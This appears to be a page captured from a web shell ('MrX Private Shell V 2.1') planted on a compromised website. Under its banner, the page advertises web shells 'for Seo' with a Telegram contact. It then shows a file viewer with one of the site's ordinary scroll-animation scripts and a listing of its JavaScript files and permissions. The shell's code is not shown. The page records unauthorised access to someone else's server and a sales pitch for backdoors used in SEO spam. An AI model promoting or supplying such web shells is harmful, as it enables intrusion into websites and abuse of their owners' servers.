__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
const teamRevealItems = document.querySelectorAll('[data-reveal]');
if (teamRevealItems.length > 0) {
const reduceMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
if (reduceMotion || !('IntersectionObserver' in window)) {
teamRevealItems.forEach((item) => item.classList.add('is-visible'));
} else {
const observer = new IntersectionObserver((entries, currentObserver) => {
entries.forEach((entry) => {
if (!entry.isIntersecting) return;
entry.target.classList.add('is-visible');
currentObserver.unobserve(entry.target);
});
}, {
threshold: 0.18,
rootMargin: '0px 0px -8% 0px',
});
teamRevealItems.forEach((item) => observer.observe(item));
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| home-sliders.js | File | 9.67 KB | 0664 |
|
| main.js | File | 11.16 KB | 0664 |
|
| quienes-somos.js | File | 748 B | 0664 |
|
| tutoriales.js | File | 9.06 KB | 0664 |
|